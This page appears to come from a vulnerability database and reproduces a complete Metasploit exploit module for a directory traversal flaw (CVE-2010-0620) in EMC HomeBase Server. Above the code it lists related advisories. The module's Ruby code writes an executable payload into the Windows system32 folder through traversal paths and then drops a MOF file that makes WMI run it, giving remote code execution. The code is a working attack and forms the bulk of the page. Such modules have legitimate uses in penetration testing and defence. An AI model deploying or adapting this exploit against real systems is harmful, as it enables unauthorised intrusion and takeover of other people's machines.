Lucene search
K

EMC HomeBase Server - Directory Traversal Remote Code Execution (Metasploit)

🗓️ 27 Apr 2011 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

EMC HomeBase Server Directory Traversal Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
EMC HomeBase Server Directory Traversal Remote Code Execution
28 Apr 201100:00
zdt
Circl
CVE-2010-0620
27 Apr 201100:00
circl
CVE
CVE-2010-0620
25 Feb 201000:00
cve
Cvelist
CVE-2010-0620
25 Feb 201000:00
cvelist
d2
DSquare Exploit Pack: D2SEC_HOMEBASE
25 Feb 201000:30
d2
EUVD
EUVD-2010-0651
7 Oct 202500:30
euvd
NVD
CVE-2010-0620
25 Feb 201000:30
nvd
Packet Storm
EMC HomeBase Server Directory Traversal Remote Code Execution
28 Apr 201100:00
packetstorm
Prion
Directory traversal
25 Feb 201000:30
prion
securityvulns
ZDI-10-020: EMC HomeBase SSL Service Arbitrary File Upload Remote Code Execution Vulnerability
25 Feb 201000:00
securityvulns
Rows per page
##
# $Id: emc_homebase_exec.rb 12458 2011-04-27 20:29:27Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC HomeBase Server Directory Traversal Remote Code Execution',
			'Description'    => %q{
					This module exploits a directory traversal and remote code execution
				flaw in EMC HomeBase Server 6.3.0.

				Note: This module has only been tested against Windows XP SP3 and Windows 2003 SP2 
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12458 $',
			'References'     =>
				[
					[ 'CVE', '2010-0620' ],
					[ 'BID', '38380' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-020/' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 2048,
					'DisableNops' => true,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic',  { } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 23 2010'))

		register_options(
			[
				Opt::RPORT(18821),
				OptBool.new('SSL', [true, 'Use SSL', true]),
			], self.class)
	end

	def exploit

		name = exe_name()
		exe_upload(name)
		select(nil,nil,nil,2)
		mof_upload(name)
		select(nil,nil,nil,4)
		handler

	end

	def exe_name

		rand_text_alpha_upper(8) + ".exe"

	end

	def exe_upload(exe_name)

		# this uploads our final exe payload.

		data = generate_payload_exe
		exe_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\"
	
		connect

		banner = sock.get
			if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
				print_good("EMC HomeBase HomebaseSSL Service Detected!")
				print_status("Sending exe payload '#{exe_name}'...")
				sock.put("DATA #{exe_dir}#{exe_name} #{data.length}\r\n")
				ready = sock.get
					if ( ready =~ /150 Ready to Recieve Data/ )
						print_good("#{ready.strip}")
						print_status("Sending '#{data.length}' bytes of data...")
						sock.put(data)
						complete = sock.get
						if ( complete =~ /226 Data Complete/ )
							print_good("#{complete.strip}")
							print_status("Sending 'QUIT")
							sock.put("quit\r\n")
							return
						end
					else
						print_error("Something went wrong...")
						return
					end
			else 
				print_error("Not a EMC HomeBaseSSL Service")
				return
			end
		
		disconnect

	end

	def mof_upload(exe_name)

		# this is what runs our uploaded exe payload.

		mof_name = rand_text_alphanumeric(8+rand(8))
		mof      = generate_mof(mof_name, exe_name)
		mof_dir  = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\"

		connect

		banner = sock.get
			if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
				print_good("EMC HomeBase HomebaseSSL Service Detected!")
				print_status("Sending MOF file '#{mof_name}'...")
				sock.put("DATA #{mof_dir}#{mof_name} #{mof.length}\r\n")
				ready = sock.get
					if ( ready =~ /150 Ready to Recieve Data/ )
						print_good("#{ready.strip}")
						print_status("Sending '#{mof.length}' bytes of data...")
						sock.put(mof)
						complete = sock.get
							if ( complete =~ /226 Data Complete/ )
								print_good("#{complete.strip}")
								print_status("Sending 'QUIT")
								sock.put("quit\r\n")
								return
							end
					else
						print_error("Something went wrong...")
						return
					end
			else
				print_error("Not a EMC HomeBaseSSL Service")
				return
                        end

		disconnect

	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation